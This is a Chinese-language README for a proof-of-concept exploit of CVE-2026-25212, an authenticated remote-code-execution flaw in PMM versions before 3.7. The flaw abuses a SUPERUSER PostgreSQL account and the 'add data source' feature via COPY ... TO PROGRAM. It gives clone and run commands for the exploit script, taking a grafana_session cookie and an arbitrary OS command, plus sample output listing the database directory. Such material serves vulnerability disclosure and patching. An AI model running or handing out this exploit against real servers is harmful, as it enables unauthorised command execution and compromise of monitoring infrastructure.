高危 – CVSS 9.9 – 在 PMM < 3.7 中经过身份验证的远程代码执行。
本概念验证利用了一个漏洞：PMM 中的内部 PostgreSQL 用户保留了 "SUPERUSER" 权限。拥有 "pmm-admin" 权限的经过身份验证的攻击者可以滥用 "添加数据源" 功能，通过 PostgreSQL 的 'COPY ... TO PROGRAM' 执行任意操作系统命令。
受影响版本： PMM < 3.7
修复版本： PMM 3.7（及更高版本）
requests（pip install requests）git clone https://github.com/5170Temp/CVE-2026-25212
cd CVE-2026-25212
pip install requests
COOKIE_VALUE 是你的 grafana_session cookie 值，例如 3131e17e1653ee4eeceb703fac45c717
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"
示例输出：
[+] UID: krfbxa-Dk
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
[+] 完成